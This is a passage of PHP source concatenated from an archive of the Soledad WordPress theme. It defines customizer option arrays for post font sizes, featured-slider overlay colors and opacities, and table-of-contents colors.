	'label'    => __( 'Font Size for Blockquote Author', 'soledad' ),
	'id'       => 'penci_single_blockquoteauthor_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_blockquoteauthor_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Tags', 'soledad' ),
	'id'       => 'penci_single_tags_font_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_tags_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Share Box', 'soledad' ),
	'id'       => 'penci_single_share_box_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_share_box_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Author Box', 'soledad' ),
	'id'          => 'penci_section_fauthor_box',
	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#author-box">this guide</a> to know how to setup Author Box', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Author Name', 'soledad' ),
	'id'       => 'penci_authorbio_name_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_authorbio_name_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Author Description', 'soledad' ),
	'id'       => 'penci_authorbio_desc_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_authorbio_desc_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Author Social Icons', 'soledad' ),
	'id'       => 'penci_authorbio_social_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_authorbio_social_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Next/Previous Posts', 'soledad' ),
	'id'       => 'penci_authorbio_nextprev_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'The "previous post", "next post" Text', 'soledad' ),
	'id'       => 'penci_prevnextpost_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_prevnextpost_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles on Prev/Next Posts', 'soledad' ),
	'id'       => 'penci_prevnextpost_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_prevnextpost_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Related Posts & Comments', 'soledad' ),
	'id'       => 'penci_relatedpost_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '18',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Sections Heading', 'soledad' ),
	'id'       => 'penci_rltcomment_heading_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_heading_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles on Related Posts', 'soledad' ),
	'id'       => 'penci_rltcomment_post_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_post_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Date on Related Posts', 'soledad' ),
	'id'       => 'penci_rltcomment_post_date_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_post_date_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Stars Rating', 'soledad' ),
	'id'       => 'penci_rltcomment_rating_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_rating_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Rating Title', 'soledad' ),
	'id'       => 'penci_rltcomment_ratingt_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_ratingt_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Comment Author Name', 'soledad' ),
	'id'       => 'penci_rltcomment_cmauthor_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmauthor_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Comment Date', 'soledad' ),
	'id'       => 'penci_rltcomment_cmdate_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmdate_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Comment Content', 'soledad' ),
	'id'       => 'penci_rltcomment_cmcontent_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmcontent_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Reply/Edit Text', 'soledad' ),
	'id'       => 'penci_rltcomment_cmreplyedit_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmreplyedit_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Inputs on Comment Form', 'soledad' ),
	'id'       => 'penci_rltcomment_input_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_input_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Submit Button on Comment Form', 'soledad' ),
	'id'       => 'penci_rltcomment_submit_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_submit_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for GDPR message & "Save my name, email.." Text', 'soledad' ),
	'id'       => 'penci_rltcomment_gdrp_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_gdrp_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Related Posts Popup', 'soledad' ),
	'id'       => 'penci_relatedpostpopup_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '16',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Heading', 'soledad' ),
	'id'       => 'penci_rltpopup_heading_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_heading_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'default'  => '15',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles', 'soledad' ),
	'id'       => 'penci_rltpopup_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '15',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Date', 'soledad' ),
	'id'       => 'penci_rltpopup_date_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_date_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Smart Lists', 'soledad' ),
	'id'       => 'penci_smartlists_fsize',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Items Number', 'soledad' ),
	'id'       => 'penci_smartlists_inumber_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_inumber_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_smartlists_heading_mfsize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Items Heading', 'soledad' ),
	'id'       => 'penci_smartlists_heading_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_heading_fsize',
		'mobile'  => 'penci_smartlists_heading_mfsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_smartlists_text_mfsize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Items Text', 'soledad' ),
	'id'       => 'penci_smartlists_text_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_text_fsize',
		'mobile'  => 'penci_smartlists_text_mfsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_smartlists_btn_mfsize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Buttons', 'soledad' ),
	'id'       => 'penci_smartlists_btn_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_btn_fsize',
		'mobile'  => 'penci_smartlists_btn_mfsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);

return $options;
PK     N\?a1    G  inc/customizer/config/sections/penci_section_fslider_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'Featured Slider Overlay Color', 'soledad' ),
	'description' => __( 'This option just apply for some featured slider styles has overlay color', 'soledad' ),
	'id'          => 'penci_featured_slider_overlay_bg',
	'default'     => '#000000',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Featured Slider Overlay Color Opacity', 'soledad' ),
	'id'       => 'penci_featured_slider_overlay_bg_opacity',
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'label'    => __( 'Featured Slider Hover Overlay Color Opacity', 'soledad' ),
	'id'       => 'penci_featured_slider_overlay_bg_hover_opacity',
	'type'     => 'soledad-fw-select',
	'default'  => '0.9',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'label'       => __( 'Center Box Background Color', 'soledad' ),
	'id'          => 'penci_featured_slider_box_bg_color',
	'description' => __( 'This option just apply for featured slider styles 1, 2, 3, 35, 36', 'soledad' ),
	'default'     => '#000000',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Center Box Opacity', 'soledad' ),
	'id'       => 'penci_featured_slider_box_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	),
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Post Category Color', 'soledad' ),
	'id'       => 'penci_featured_slider_cat_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Category Hover Color', 'soledad' ),
	'id'       => 'penci_featured_slider_cat_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Title Post Color', 'soledad' ),
	'id'       => 'penci_featured_slider_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Title Post Hover Color', 'soledad' ),
	'id'       => 'penci_featured_slider_title_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_featured_slider_meta_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Excerpt Color', 'soledad' ),
	'id'       => 'penci_featured_slider_excerpt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Format Icons Color', 'soledad' ),
	'id'       => 'penci_featured_slider_icon_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Overlay Color for Slider Style 29 & 30', 'soledad' ),
	'id'       => 'penci_featured_slider_color_29',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Overlay Opacity for Slider Style 29 & 30', 'soledad' ),
	'id'       => 'penci_featured_slider_overlay_opacity29',
	'type'     => 'soledad-fw-select',
	'default'  => '0.3',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'label'    => __( 'Color of Line on Slider Style 29 & 30', 'soledad' ),
	'id'       => 'penci_featured_slider_lines_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Color Button Text & Button Border on Slider Style 29, 30, 35, 36', 'soledad' ),
	'id'       => 'penci_featured_slider_button_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Background Color Hover of Buttor on Slider Style 29, 30, 35, 36, 38', 'soledad' ),
	'id'       => 'penci_featured_slider_button_hover_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Text Color Hover of Buttor on Slider Style 29, 30, 35, 36, 38', 'soledad' ),
	'id'       => 'penci_featured_slider_button_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);

return $options;
PK     N\ aw&  &  A  inc/customizer/config/sections/pencidesign_toc_styles_section.phpnu [        <?php
$options = [];
/* Font Size */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Sizes', 'soledad' ),
	'id'       => 'penci_toc_heading_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toc_heading_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading Text', 'soledad' ),
	'id'       => 'penci_toc_heading_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toc_heading_fs',
		'mobile'  => 'penci_toc_heading_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toc_l1_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Parent Items', 'soledad' ),
	'id'       => 'penci_toc_l1_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toc_l1_fs',
		'mobile'  => 'penci_toc_l1_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toc_l2_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Child Items', 'soledad' ),
	'id'       => 'penci_toc_l2_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toc_l2_fs',
		'mobile'  => 'penci_toc_l2_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Sticky Color */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Color', 'soledad' ),
	'id'       => 'penci_toc_color_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_toc_heading_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Heading Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l1_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l1_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l2_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_l2_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_bd_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_tgbtn_hbgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Hover Color', 'soledad' ),
);
/* Color */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Sticky Color', 'soledad' ),
	'id'       => 'penci_toc_sticky_color_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_toc_sticky_heading_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Heading Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l1_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l1_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Parent Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l2_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_l2_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Child Items Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_bd_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Border Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_bg_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Table Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_color',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_bgcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_hcolor',
	'default'   => '',
	'transport' => 'refresh',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Toggle Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_toc_sticky_tgbtn_hbgcolor',
	'default'   => '',
